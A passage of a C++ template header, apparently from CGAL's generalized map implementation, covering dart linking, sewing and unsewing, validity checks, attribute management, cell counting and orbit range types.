if (is_free(it, i)) return false;
return true;
}
/** Test if this map is without boundary for all the dimensions.
* @return true iff all the darts are non free.
*/
bool is_without_boundary() const
{
for ( typename Dart_const_range::const_iterator it(darts().begin()),
itend(darts().end()); it!=itend; ++it)
for ( unsigned int i = 0; i<=dimension; ++i)
if (is_free(it, i)) return false;
return true;
}
/** Close the generalized map for a given dimension.
* @param i the dimension to close
* @return the number of new darts.
* @pre 0<=i<=n
*/
template<unsigned int i>
unsigned int close()
{
CGAL_assertion( i<=dimension );
unsigned int res = 0;
Dart_handle d, d2;
for ( typename Dart_range::iterator it(darts().begin());
it!=darts().end(); ++it)
{
if ( this->template is_free<i>(it) )
{
d = create_dart();
++res;
link_alpha<i>(it, d);
for ( unsigned int j=0; j<=dimension; ++j)
{
if ( j+1!=i && j!=i && j!=i+1 &&
!is_free(it, j) && !this->template is_free<i>(alpha(it, j)) )
{
basic_link_alpha(d, alpha(it, j, i), j);
}
}
if ( i>0 )
{
d2 = alpha<i-1>(it);
while ( !this->template is_free<i>(d2) &&
!this->template is_free<i-1>(alpha<i>(d2)) )
{ d2 = alpha<i, i-1>(d2); }
if (!this->template is_free<i>(d2))
{
basic_link_alpha<i-1>(alpha<i>(d2), d);
}
}
}
}
return res;
}
/** Test if the map is valid.
* @return true iff the map is valid.
*/
bool is_valid() const
{
bool valid = true;
unsigned int i = 0, j = 0;
std::vector<size_type> marks(dimension+1);
for ( i=0; i<=dimension; ++i)
marks[i] = INVALID_MARK;
Helper::template
Foreach_enabled_attributes<Reserve_mark_functor<Self> >::
run(*this, marks);
for ( typename Dart_range::const_iterator it(darts().begin()),
itend(darts().end()); it!=itend; ++it)
{
if ( !valid )
{ // We continue the traversal to mark all the darts.
for ( i=0; i<=dimension; ++i)
if (marks[i]!=INVALID_MARK) mark(it,marks[i]);
}
else
{
// Each alpha_i must be an involution
for ( i = 0; i <= dimension; ++i)
if (alpha(it, i, i)!=it)
{
std::cerr << "Map not valid: alpha(" << i
<< ") is not an involution for dart "
<<darts().index(it)<< std::endl;
valid = false;
}
// alpha_i o alpha_j must be an involution for j>=i+2
for ( i = 0; i <= dimension-2; ++i)
{
for ( j = i + 2; j <= dimension; ++j)
if (alpha(it, i, j)!=alpha(it, j, i))
{
std::cerr <<"Map not valid: alpha(" << i
<<") o alpha(" << j
<<") is not an involution for dart "
<<darts().index(it)<< std::endl;
valid = false;
}
}
Helper::template Foreach_enabled_attributes
<internal::Test_is_valid_attribute_functor<Self> >::
run(*this, it, marks, valid);
}
}
for ( i=0; i<=dimension; ++i)
if ( marks[i]!=INVALID_MARK )
{
CGAL_assertion( is_whole_map_marked(marks[i]) );
free_mark(marks[i]);
}
return valid;
}
/// correct invalid attributes in the gmap
void correct_invalid_attributes()
{
std::vector<size_type> marks(dimension+1);
for ( unsigned int i=0; i<=dimension; ++i)
marks[i] = INVALID_MARK;
Helper::template
Foreach_enabled_attributes<Reserve_mark_functor<Self> >::
run(*this, marks);
for ( typename Dart_range::iterator it(darts().begin()),
itend(darts().end()); it!=itend; ++it)
{
Helper::template Foreach_enabled_attributes
<internal::Correct_invalid_attributes_functor<Self> >::
run(*this, it, marks);
}
for ( unsigned int i=0; i<=dimension; ++i)
if ( marks[i]!=INVALID_MARK )
{
CGAL_assertion( is_whole_map_marked(marks[i]) );
free_mark(marks[i]);
}
Helper::template
Foreach_enabled_attributes<internal::Cleanup_useless_attributes<Self> >::
run(*this);
}
/// @return the number of darts.
size_type number_of_darts() const
{ return mdarts.size(); }
/// @return an estimation of the bytes used by the generalized map.
size_type bytes() const
{
return mdarts.capacity() * sizeof(Dart) +
internal::Count_bytes_all_attributes_functor<Self>::run(*this);
}
/** Write the content of the map: each dart and each alpha links.
* @param os the ostream.
* @return the ostream.
*/
std::ostream& display_darts(std::ostream & os, bool attribs=false) const
{
unsigned int nb = 0;
for ( typename Dart_range::const_iterator it=darts().begin();
it!=darts().end(); ++it)
{
os << " dart " << darts().index(it)<<"; alpha[i]=";
for ( unsigned int i=0; i<=dimension; ++i)
{
os << darts().index(alpha(it, i)) << ",\t";
}
if ( attribs )
{
Helper::template Foreach_enabled_attributes
<Display_attribute_functor<Self> >::run(*this, it);
}
os << std::endl;
++nb;
}
os << "Number of darts: " << nb <<"(sizeofdarts="
<<number_of_darts()<<")" << std::endl;
return os;
}
/** Write the content of each given orbit of the map.
* @param aos the ostream.
* @return the ostream.
*/
template < class Ite >
std::ostream& display_orbits(std::ostream & aos) const
{
CGAL_static_assertion( (boost::is_same<typename Ite::Basic_iterator,
Tag_true>::value) );
unsigned int nb = 0;
size_type amark = get_new_mark();
for ( typename Dart_range::const_iterator it1(darts().begin()),
itend(darts().end()); it1!=itend; ++it1)
{
if ( !is_marked(it1, amark) )
{
++nb;
for ( Ite it2(*this, it1, amark); it2.cont(); ++it2 )
{
aos << darts().index(it2) << " - " << std::flush;
mark(it2, amark);
}
aos << std::endl;
}
}
CGAL_assertion( is_whole_map_marked(amark) );
free_mark(amark);
aos << "Number of orbits: " << nb << std::endl;
return aos;
}
/** Write the content of each i-cell of the map.
* @param aos the ostream.
* @return the ostream.
*/
template < unsigned int i >
std::ostream& display_cells(std::ostream & aos) const
{
return display_orbits<GMap_dart_const_iterator_basic_of_cell<Self,i> >
(aos);
}
/** Write the number of darts and cells of the map into a given ostream.
* @param os the ostream.
* @return the ostream.
*/
std::ostream& display_characteristics(std::ostream & os) const
{
std::vector<unsigned int> cells(dimension+2);
for ( unsigned int i=0; i<=dimension+1; ++i)
{ cells[i]=i; }
std::vector<unsigned int> res = count_cells(cells);
bool orientable=is_orientable();
os << "#Darts=" << number_of_darts();
for ( unsigned int i=0; i<=dimension; ++i)
os<<", #"<<i<<"-cells="<<res[i];
os<<", #ccs="<<res[dimension+1]
<<", orientable="<<(orientable?"true":"false");
return os;
}
/// Create a new attribute.
/// @return a handle on the new attribute.
#ifndef CGAL_CFG_NO_CPP0X_VARIADIC_TEMPLATES
template<unsigned int i, typename ...Args>
typename Attribute_handle<i>::type create_attribute(const Args&... args)
{
CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0,
"create_attribute<i> but i-attributes are disabled");
typename Attribute_handle<i>::type res=
CGAL::cpp11::get<Helper::template Dimension_index<i>::value>
(mattribute_containers).emplace(args...);
// Reinitialize the ref counting of the new attribute. This is normally
// not required except if create_attribute is used as "copy contructor".
this->template init_attribute_ref_counting<i>(res);
return res;
}
#else
template<unsigned int i>
typename Attribute_handle<i>::type
create_attribute()
{
CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0,
"create_attribute<i> but i-attributes are disabled");
return CGAL::cpp11::get<Helper::template Dimension_index<i>::value>
(mattribute_containers).emplace();
}
template<unsigned int i, typename T1>
typename Attribute_handle<i>::type
create_attribute(const T1 &t1)
{
CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0,
"create_attribute<i> but i-attributes are disabled");
typename Attribute_handle<i>::type res=
CGAL::cpp11::get<Helper::template Dimension_index<i>::value>
(mattribute_containers).emplace(t1);
this->template init_attribute_ref_counting<i>(res);
return res;
}
template<unsigned int i, typename T1, typename T2>
typename Attribute_handle<i>::type
create_attribute(const T1 &t1, const T2 &t2)
{
CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0,
"create_attribute<i> but i-attributes are disabled");
return CGAL::cpp11::get<Helper::template Dimension_index<i>::value>
(mattribute_containers).emplace(t1, t2);
}
template<unsigned int i, typename T1, typename T2, typename T3>
typename Attribute_handle<i>::type
create_attribute(const T1 &t1, const T2 &t2, const T3 &t3)
{
CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0,
"create_attribute<i> but i-attributes are disabled");
return CGAL::cpp11::get<Helper::template Dimension_index<i>::value>
(mattribute_containers).emplace(t1, t2, t3);
}
template<unsigned int i, typename T1, typename T2, typename T3, typename T4>
typename Attribute_handle<i>::type
create_attribute(const T1 &t1, const T2 &t2, const T3 &t3, const T4 &t4)
{
CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0,
"create_attribute<i> but i-attributes are disabled");
return CGAL::cpp11::get<Helper::template Dimension_index<i>::value>
(mattribute_containers).emplace(t1, t2, t3, t4);
}
template<unsigned int i, typename T1, typename T2, typename T3, typename T4,
typename T5>
typename Attribute_handle<i>::type
create_attribute(const T1 &t1, const T2 &t2, const T3 &t3, const T4 &t4,
const T5 &t5)
{
CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0,
"create_attribute<i> but i-attributes are disabled");
return CGAL::cpp11::get<Helper::template Dimension_index<i>::value>
(mattribute_containers).emplace(t1, t2, t3, t4, t5);
}
template<unsigned int i, typename T1, typename T2, typename T3, typename T4,
typename T5, typename T6>
typename Attribute_handle<i>::type
create_attribute(const T1 &t1, const T2 &t2, const T3 &t3, const T4 &t4,
const T5 &t5, const T6 &t6)
{
CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0,
"create_attribute<i> but i-attributes are disabled");
return CGAL::cpp11::get<Helper::template Dimension_index<i>::value>
(mattribute_containers).emplace(t1, t2, t3, t4, t5, t6);
}
template<unsigned int i, typename T1, typename T2, typename T3, typename T4,
typename T5, typename T6, typename T7>
typename Attribute_handle<i>::type
create_attribute(const T1 &t1, const T2 &t2, const T3 &t3, const T4 &t4,
const T5 &t5, const T6 &t6, const T7 &t7)
{
CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0,
"create_attribute<i> but i-attributes are disabled");
return CGAL::cpp11::get<Helper::template Dimension_index<i>::value>
(mattribute_containers).emplace(t1, t2, t3, t4, t5, t6, t7);
}
template<unsigned int i, typename T1, typename T2, typename T3, typename T4,
typename T5, typename T6, typename T7, typename T8>
typename Attribute_handle<i>::type
create_attribute(const T1 &t1, const T2 &t2, const T3 &t3, const T4 &t4,
const T5 &t5, const T6 &t6, const T7 &t7, const T8 &t8)
{
CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0,
"create_attribute<i> but i-attributes are disabled");
return CGAL::cpp11::get<Helper::template Dimension_index<i>::value>
(mattribute_containers).emplace(t1, t2, t3, t4, t5, t6, t7, t8);
}
template<unsigned int i, typename T1, typename T2, typename T3, typename T4,
typename T5, typename T6, typename T7, typename T8, typename T9>
typename Attribute_handle<i>::type
create_attribute(const T1 &t1, const T2 &t2, const T3 &t3, const T4 &t4,
const T5 &t5, const T6 &t6, const T7 &t7, const T8 &t8,
const T9 &t9)
{
CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0,
"create_attribute<i> but i-attributes are disabled");
return CGAL::cpp11::get<Helper::template Dimension_index<i>::value>
(mattribute_containers).emplace(t1, t2, t3, t4, t5, t6, t7, t8, t9);
}
#endif
/// Erase an attribute.
/// @param h a handle to the attribute to erase.
template<unsigned int i>
void erase_attribute(typename Attribute_handle<i>::type h)
{
CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0,
"erase_attribute<i> but i-attributes are disabled");
CGAL::cpp11::get<Helper::template Dimension_index<i>::value>
(mattribute_containers).erase(h);
}
/// @return true if ah points to a used i-attribute (i.e. valid).
template<unsigned int i>
bool is_attribute_used(typename Attribute_const_handle< i >::type ah) const
{
CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0,
"is_attribute_used<i> but i-attributes are disabled");
return CGAL::cpp11::get<Helper::template Dimension_index<i>::value>
(mattribute_containers).is_used(ah);
}
/// @return the number of attributes.
template <unsigned int i>
size_type number_of_attributes() const
{
CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0,
"number_of_attributes<i> but i-attributes are disabled");
return CGAL::cpp11::get<Helper::template Dimension_index<i>::value>
(mattribute_containers).size();
}
/** Set the i th attribute of all the darts of a given i-cell.
* @param adart a dart of the i-cell.
* @param ah the vertex to set.
*/
template<unsigned int i>
void set_attribute(Dart_handle dh,
typename Attribute_handle<i>::type ah)
{
CGAL_static_assertion(i<=dimension);
CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0,
"set_attribute<i> but i-attributes are disabled");
for ( typename Dart_of_cell_range<i>::iterator it(*this, dh);
it.cont(); ++it)
{
this->template set_dart_attribute<i>(it, ah);
}
}
/// @return a Attributes_range<i> (range through all the
/// attributes<i> of the map).
template<unsigned int i>
typename Attribute_range<i>::type & attributes()
{
CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0,
"attributes<i> but i-attributes are disabled");
return CGAL::cpp11::get<Helper::template Dimension_index<i>::value>
(mattribute_containers);
}
template<unsigned int i>
typename Attribute_const_range<i>::type & attributes() const
{
CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0,
"attributes<i> but i-attributes are disabled");
return CGAL::cpp11::get<Helper::template Dimension_index<i>::value>
(mattribute_containers);
}
// Get the ith dynamic onsplit functor (by reference so that we can
// modify it directly).
template<int i>
boost::function<void(typename Attribute_type<i>::type&,
typename Attribute_type<i>::type&)>&
onsplit_functor()
{
CGAL_static_assertion_msg
(Helper::template Dimension_index<i>::value>=0,
"onsplit_functor<i> but "
"i-attributes are disabled");
return CGAL::cpp11::get<Helper::template Dimension_index<i>::value>
(m_onsplit_functors);
}
// Get the ith dynamic onsplit functor (by reference so that we can
// modify it directly).
template<int i>
const boost::function<void(typename Attribute_type<i>::type&,
typename Attribute_type<i>::type&)>&
onsplit_functor() const
{
CGAL_static_assertion_msg
(Helper::template Dimension_index<i>::value>=0,
"onsplit_functor<i> but "
"i-attributes are disabled");
return CGAL::cpp11::get<Helper::template Dimension_index<i>::value>
(m_onsplit_functors);
}
// Get the ith dynamic onmerge functor (by reference so that we can
// modify it directly).
template<int i>
boost::function<void(typename Attribute_type<i>::type&,
typename Attribute_type<i>::type&)>&
onmerge_functor()
{
CGAL_static_assertion_msg
(Helper::template Dimension_index<i>::value>=0,
"onsplit_functor<i> but "
"i-attributes are disabled");
return CGAL::cpp11::get<Helper::template Dimension_index<i>::value>
(m_onmerge_functors);
}
// Get the ith dynamic onmerge functor (by reference so that we can
// modify it directly).
template<int i>
const boost::function<void(typename Attribute_type<i>::type&,
typename Attribute_type<i>::type&)>&
onmerge_functor() const
{
CGAL_static_assertion_msg
(Helper::template Dimension_index<i>::value>=0,
"onsplit_functor<i> but "
"i-attributes are disabled");
return CGAL::cpp11::get<Helper::template Dimension_index<i>::value>
(m_onmerge_functors);
}
/** Double link a dart with alpha i to a second dart.
* \em adart1 is i-linked to \em adart2 and \em adart2 is i-linked
* with \em adart1. Attributes are not updated, thus we can obtain
* a non-valid map with darts belonging to a same orbit and having
* different attributes.
* @param adart1 a first dart.
* @param adart2 a second dart.
* @param i the dimension of the alpha.
*/
template<unsigned int i>
void basic_link_alpha(Dart_handle dart1, Dart_handle dart2)
{
CGAL_assertion( i<=dimension );
this->template dart_link_alpha<i>(dart1, dart2);
this->template dart_link_alpha<i>(dart2, dart1);
}
void basic_link_alpha(Dart_handle dart1, Dart_handle dart2, unsigned int i)
{
CGAL_assertion( i<=dimension );
dart_link_alpha(dart1, dart2, i);
dart_link_alpha(dart2, dart1, i);
}
/** Double link two darts, and update the NULL attributes.
* \em adart1 is i-linked to \em adart2 and \em adart2 is i-linked
* with \em adart1. The NULL attributes of \em adart1 are updated to
* non NULL attributes associated to \em adart2, and vice-versa.
* If both darts have an attribute, the attribute of adart1 is
* associated to adart2.
* We can obtain a non-valid map with darts belonging to a same cell
* and having different attributes.
* @param adart1 a first dart.
* @param adart2 a second dart.
* @param i the dimension of the alpha.
* @pre i<=dimension.
*/
template<unsigned int i>
void link_alpha(Dart_handle adart1, Dart_handle adart2)
{
CGAL_assertion( i<=dimension );
Helper::template Foreach_enabled_attributes_except
<internal::GMap_group_attribute_functor_of_dart<Self, i>, i>::
run(*this,adart1,adart2);
this->template dart_link_alpha<i>(adart1, adart2);
this->template dart_link_alpha<i>(adart2, adart1);
}
/** Double link a dart with alphai to a second dart.
* \em adart1 is i-linked to \em adart2 and \em adart2 is i^-1-linked
* with \em adart1. The NULL attributes of \em adart1 are updated to
* non NULL attributes associated to \em adart2, and vice-versa,
* if both darts have an attribute, the attribute of adart1 is
* associated to adart2 (only if update_attributes==true).
* @param adart1 a first dart.
* @param adart2 a second dart.
* @param update_attributes a boolean to update the enabled attributes.
* (deprecated, now we use are_attributes_automatically_managed())
*/
template<unsigned int i>
void link_alpha(Dart_handle adart1, Dart_handle adart2,
bool update_attributes)
{
if ( update_attributes ) link_alpha<i>(adart1, adart2);
else basic_link_alpha<i>(adart1, adart2);
}
/** Double unlink a dart with alpha i.
* alphai(\em adart) is i-unlinked and \em adart is i-unlinked.
* The attributes are not updated, thus we can obtain a non-valid map
* with darts belonging to different orbits and having the same
* attributes.
* @param adart a dart.
* @param i the dimension of the alpha.
*/
template<unsigned int i>
void unlink_alpha(Dart_handle adart)
{
CGAL_assertion(!this->template is_free<i>(adart));
CGAL_assertion(i<=dimension);
this->template dart_unlink_alpha<i>(alpha<i>(adart));
this->template dart_unlink_alpha<i>(adart);
}
void unlink_alpha(Dart_handle adart, unsigned int i)
{
CGAL_assertion(!is_free(adart,i));
CGAL_assertion(i<=dimension);
dart_unlink_alpha(alpha(adart, i), i);
dart_unlink_alpha(adart, i);
}
/** Test if it is possible to sew by alphai the two given darts
* @param adart1 the first dart.
* @param adart2 the second dart.
* @return true iff \em adart1 can be i-sewn with \em adart2.
*/
template<unsigned int i>
bool is_sewable(Dart_const_handle adart1, Dart_const_handle adart2) const
{
return CGAL::internal::
GMap_is_sewable_functor<Self, i>::run(*this, adart1, adart2);
}
/** Topological sew by alphai two given darts plus all the required darts
* to satisfy the generalized map validity: but do not update attributes
* thus the map can be non valid.
* @param adart1 the first dart.
* @param adart2 the second dart.
* @pre i<=dimension.
* @pre is_sewable<i>(adart1, adart2).
*/
template<unsigned int i>
void topo_sew(Dart_handle adart1, Dart_handle adart2)
{
CGAL_assertion( i<=Self::dimension );
CGAL_assertion( (is_sewable<i>(adart1,adart2)) );
CGAL::GMap_dart_iterator_of_involution<Self,i> I1(*this, adart1);
CGAL::GMap_dart_iterator_of_involution<Self,i> I2(*this, adart2);
for ( ; I1.cont(); ++I1, ++I2 )
{
basic_link_alpha<i>(I1, I2);
}
}
/** Sew by alphai the two given darts plus all the required darts
* to satisfy the generalized map validity, and updates enabled
* attributes when necessary so that the final map is valid.
* @param adart1 the first dart.
* @param adart2 the second dart.
* @pre is_sewable<i>(adart1, adart2).
* @pre i<=dimension.
* @post is_valid()
*/
template<unsigned int i>
void sew(Dart_handle adart1, Dart_handle adart2)
{
CGAL_assertion( i<=dimension );
CGAL_assertion( (is_sewable<i>(adart1,adart2)) );
size_type amark=get_new_mark();
CGAL::GMap_dart_iterator_basic_of_involution<Self, i>
I1(*this, adart1, amark);
CGAL::GMap_dart_iterator_basic_of_involution<Self, i>
I2(*this, adart2, amark);
// This first loop do not modify the map, but only the attributes
// (by calling when required the onmerge functors).
for ( ; I1.cont(); ++I1, ++I2 )
{
Helper::template Foreach_enabled_attributes_except
<CGAL::internal::GMap_group_attribute_functor<Self, i>, i>::
run(*this, I1, I2);
}
// Now we update the alpha links.
negate_mark( amark );
for ( I1.rewind(), I2.rewind(); I1.cont(); ++I1, ++I2 )
{
basic_link_alpha<i>(I1, I2);
}
negate_mark( amark );
CGAL_assertion( is_whole_map_unmarked(amark) );
free_mark(amark);
}
/** Sew by alphai the two given darts plus all the required darts
* to satisfy the generalized map validity. Enabled attributes
* are updated only if update_attributes==true.
* @param adart1 the first dart.
* @param adart2 the second dart.
* @param update_attributes a boolean to update the enabled attributes
* (deprecated, now we use are_attributes_automatically_managed())
* @pre is_sewable<i>(adart1, adart2).
*/
template<unsigned int i>
void sew(Dart_handle adart1, Dart_handle adart2, bool update_attributes)
{
if ( update_attributes ) sew<i>(adart1, adart2);
else topo_sew<i>(adart1, adart2);
}
/** Topological unsew by alphai the given dart plus all the required darts
* to satisfy the generalized map validity: but do not update attributes
* thus the map can be non valid
* @param adart first dart.
* @pre !adart->is_free(i).
* @pre i<=dimension.
*/
template<unsigned int i>
void topo_unsew(Dart_handle adart)
{
CGAL_assertion( !(is_free<i>(adart)) );
CGAL_assertion( i<=Self::dimension );
for ( CGAL::GMap_dart_iterator_of_involution<Self,i> it(*this, adart);
it.cont(); ++it )
{ unlink_alpha<i>(*it); }
}
/** Unsew by alphai the given dart plus all the required darts
* to satisfy the generalized map validity, and update enabled
* attributes when necessary so that the final map is valid.
* @param adart first dart.
* @pre !adart->is_free(i).
* @post is_valid()
* @pre i<=dimension
*/
template<unsigned int i>
void unsew(Dart_handle adart)
{
CGAL_assertion(i<=Self::dimension);
CGAL_assertion( !this->template is_free<i>(adart) );
std::deque<Dart_handle> modified_darts;
for ( CGAL::GMap_dart_iterator_of_involution<Self, i> it(*this, adart);
it.cont(); ++it )
{
modified_darts.push_back(it);
modified_darts.push_back(alpha<i>(it));
unlink_alpha<i>(it);
}
// We test the split of all the incident cells for all the non
// void attributes.
Helper::template Foreach_enabled_attributes_except
<CGAL::internal::GMap_test_split_attribute_functor<Self, i>, i>::
run(*this, modified_darts);
}
/** Unsew by alphai the given dart plus all the required darts
* to satisfy the generalized map validity. Enabled attributes
* are updated only if update_attributes==true.
* @param adart first dart.
* @param update_attributes a boolean to update the enabled attributes
* (deprecated, now we use are_attributes_automatically_managed())
* @pre !adart->is_free(i).
*/
template<unsigned int i>
void unsew(Dart_handle adart, bool update_attributes)
{
if ( update_attributes ) unsew<i>(adart);
else topo_unsew<i>(adart);
}
/** Count the marked cells (at least one marked dart).
* @param amark the mark to consider.
* @param avector containing the dimensions of the cells to count.
* @return a vector containing the number of cells.
*/
std::vector<unsigned int>
count_marked_cells(size_type amark, const std::vector<unsigned int>& acells) const
{
std::vector<unsigned int> res(dimension+2);
std::vector<size_type> marks(dimension+2);
// Initialization of the result
for ( unsigned int i=0; i<dimension+2; ++i)
{
res[i]=0;
marks[i]=INVALID_MARK;
}
// Mark reservation
for ( unsigned int i=0; i<acells.size(); ++i)
{
CGAL_assertion(acells[i]<=dimension+1);
if ( marks[acells[i]]==INVALID_MARK )
{
marks[acells[i]] = get_new_mark();
assert(is_whole_map_unmarked(marks[acells[i]]));
}
}
// Counting and marking cells
for ( typename Dart_range::const_iterator it(darts().begin()),
itend(darts().end()); it!=itend; ++it)
{
if ( is_marked(it, amark) )
{
CGAL::internal::Foreach_static
<CGAL::internal::Count_cell_functor<Self>,dimension+1>::
run(*this, it, marks, res);
}
}
// Unmarking darts
std::vector<size_type> tounmark;
for ( unsigned int i=0; i<acells.size(); ++i)
{
if ( is_whole_map_marked(marks[acells[i]]) ||
is_whole_map_unmarked(marks[acells[i]]))
{
free_mark(marks[acells[i]]);
}
else
{
tounmark.push_back(marks[acells[i]]);
}
}
if ( tounmark.size() > 0 )
{
for ( typename Dart_range::const_iterator it(darts().begin()),
itend(darts().end()); it!=itend; ++it)
{
for ( unsigned int i=0; i<tounmark.size(); ++i)
unmark(it, tounmark[i]);
}
for ( unsigned int i=0; i<tounmark.size(); ++i)
{
CGAL_assertion(is_whole_map_unmarked(tounmark[i]));
free_mark(tounmark[i]);
}
}
return res;
}
/** Count the number of given cells
* @param avector containing the dimensions of the cells to count.
* @return a vector containing the number of cells.
*/
std::vector<unsigned int>
count_cells(const std::vector<unsigned int>& acells) const
{
std::vector<unsigned int> res;
size_type m = get_new_mark();
negate_mark(m); // We mark all the cells.
res = count_marked_cells(m, acells);
negate_mark(m); // We unmark the cells
free_mark(m);
return res;
}
/** Count the number of cells in each dimension.
* @return a vector containing the number of cells.
*/
std::vector<unsigned int> count_all_cells() const
{
std::vector<unsigned int> dim(dimension+2);
for ( unsigned int i=0; i<dimension+2; ++i)
dim[i]=i;
return count_cells(dim);
}
protected:
/** Set simultaneously all the marks of a given dart.
* @param adart the dart.
* @param amarks the marks to set.
*/
void set_marks(Dart_const_handle adart,
const std::bitset<NB_MARKS> & amarks) const
{ set_dart_marks(adart, amarks ^ mmask_marks); }
/** Get simultaneously all the marks of a given dart.
* @param adart the dart.
* @return allt the marks of adart.
*/
std::bitset<NB_MARKS> get_marks(Dart_const_handle adart) const
{ return get_dart_marks(adart) ^ mmask_marks; }
/** Get the mask associated to a given mark.
* @param amark the mark.
* @return the mask associated to mark amark.
*/
bool get_mask_mark(size_type amark) const
{
CGAL_assertion(amark>=0 && amark<NB_MARKS);
return mmask_marks[amark];
}
public:
/** Erase marked darts from the map.
* Marked darts are unlinked before to be removed, thus surviving darts
* are correctly linked, but the map is not necessarily valid depending
* on the configuration of removed darts. User must check carefully marked
* darts before calling this method.
* @param amark the mark of darts to erase.
* @return the number of removed darts.
*/
unsigned int erase_marked_darts(size_type amark)
{
unsigned int res = 0, i = 0;
Dart_handle d;
for ( typename Dart_range::iterator it(darts().begin()),
itend(darts().end()); it!=itend; )
{
d = it++;
if (is_marked(d, amark))
{
for ( i = 0; i <= dimension; ++i)
{ if (!is_free(d, i)) unlink_beta(d, i); }
erase_dart(d); ++res;
}
}
return res;
}
#ifndef CGAL_CFG_NO_CPP0X_VARIADIC_TEMPLATES
//**************************************************************************
// Dart_of_orbit_basic_range
template<unsigned int ... Alpha>
struct Dart_of_orbit_basic_range : public CGAL::CMap_range
<Self, CGAL::GMap_dart_iterator_basic_of_orbit<Self,Alpha...>,
CGAL::GMap_dart_const_iterator_basic_of_orbit<Self,Alpha...> >
{
typedef CGAL::CMap_range
<Self, CGAL::GMap_dart_iterator_basic_of_orbit<Self,Alpha...>,
CGAL::GMap_dart_const_iterator_basic_of_orbit<Self,Alpha...> > Base;
Dart_of_orbit_basic_range(Self &amap, Dart_handle adart, size_type amark=INVALID_MARK):
Base(amap, adart, amark)
{}
};
//**************************************************************************
// Dart_of_orbit_basic_const_range
template<unsigned int ... Alpha>
struct Dart_of_orbit_basic_const_range : public CGAL::CMap_const_range
<Self, CGAL::GMap_dart_const_iterator_basic_of_orbit<Self,Alpha...> >
{
typedef CGAL::CMap_const_range
<Self, CGAL::GMap_dart_const_iterator_basic_of_orbit<Self,Alpha...> >
Base;
Dart_of_orbit_basic_const_range(const Self &amap, Dart_const_handle
adart, size_type amark=INVALID_MARK):
Base(amap, adart, amark)
{}
};
//**************************************************************************
// Dart_of_orbit_range
template<unsigned int ... Alpha>
struct Dart_of_orbit_range : public CGAL::CMap_range
<Self, CGAL::GMap_dart_iterator_of_orbit<Self,Alpha...>,
CGAL::GMap_dart_const_iterator_of_orbit<Self,Alpha...> >
{
typedef CGAL::CMap_range
<Self, CGAL::GMap_dart_iterator_of_orbit<Self,Alpha...>,
CGAL::GMap_dart_const_iterator_of_orbit<Self,Alpha...> > Base;
Dart_of_orbit_range(Self &amap, Dart_handle adart) : Base(amap,adart)
{}
};
//**************************************************************************
// Dart_of_orbit_const_range
template<unsigned int ... Alpha>
struct Dart_of_orbit_const_range : public CGAL::CMap_const_range
<Self, CGAL::GMap_dart_const_iterator_of_orbit<Self,Alpha...> >
{
typedef CGAL::CMap_const_range
<Self, CGAL::GMap_dart_const_iterator_of_orbit<Self,Alpha...> > Base;
Dart_of_orbit_const_range(const Self &amap, Dart_const_handle adart):
Base(amap,adart)
{}
};
//**************************************************************************
/// @return a range on all the darts of the given orbit
template<unsigned int ... Alpha>
Dart_of_orbit_range<Alpha...> darts_of_orbit(Dart_handle adart)
{ return Dart_of_orbit_range<Alpha...>(*this,adart); }
//--------------------------------------------------------------------------
template<unsigned int ... Alpha>
Dart_of_orbit_const_range<Alpha...>
darts_of_orbit(Dart_const_handle adart) const
{ return Dart_of_orbit_const_range<Alpha...>(*this,adart); }
//--------------------------------------------------------------------------
template<unsigned int ... Alpha>
Dart_of_orbit_basic_range<Alpha...> darts_of_orbit_basic(Dart_handle adart,
size_type amark=INVALID_MARK)
{ return Dart_of_orbit_basic_range<Alpha...>(*this,adart,amark); }
//--------------------------------------------------------------------------
template<unsigned int ... Alpha>
Dart_of_orbit_basic_const_range<Alpha...>
darts_of_orbit_basic(Dart_const_handle adart, size_type amark=INVALID_MARK) const
{ return Dart_of_orbit_basic_const_range<Alpha...>(*this,adart,amark); }
//**************************************************************************
#else
//**************************************************************************
// Dart_of_orbit_basic_range
template<int B1=-1,int B2=-1,int B3=-1,int B4=-1,int B5=-1,
int B6=-1,int B7=-1,int B8=-1,int B9=-1>
struct Dart_of_orbit_basic_range: public CGAL::CMap_range
<Self, CGAL::GMap_dart_iterator_basic_of_orbit<Self,B1,B2,B3,B4,B5,B6,B7,
B8,B9>,
CGAL::GMap_dart_const_iterator_basic_of_orbit<Self,B1,B2,B3,B4,B5,B6,B7,
B8,B9> >
{
typedef CGAL::CMap_range
<Self, CGAL::GMap_dart_iterator_basic_of_orbit<Self,B1,B2,B3,B4,B5,B6,B7,
B8,B9>,
CGAL::GMap_dart_const_iterator_basic_of_orbit<Self,B1,B2,B3,B4,B5,
B6,B7,B8,B9> > Base;
Dart_of_orbit_basic_range(Self &amap, Dart_handle adart,
size_type /*amark*/=INVALID_MARK):
Base(amap, adart)
{}
};
//**************************************************************************
// Dart_of_orbit_basic_const_range
template<int B1=-1,int B2=-1,int B3=-1,int B4=-1,int B5=-1,
int B6=-1,int B7=-1,int B8=-1,int B9=-1>
struct Dart_of_orbit_basic_const_range: public CMap_const_range
<Self,
CGAL::GMap_dart_const_iterator_basic_of_orbit<Self,B1,B2,B3,B4,B5,B6,B7,
B8,B9> >
{
typedef CMap_const_range
<Self, CGAL::GMap_dart_const_iterator_basic_of_orbit
<Self,B1,B2,B3,B4,B5,B6,B7,B8,B9> > Base;
Dart_of_orbit_basic_const_range(const Self &amap,
Dart_const_handle adart, size_type amark=INVALID_MARK):
Base(amap, adart, amark)
{}
};
//**************************************************************************
// Dart_of_orbit_range
template<int B1=-1,int B2=-1,int B3=-1,int B4=-1,int B5=-1,
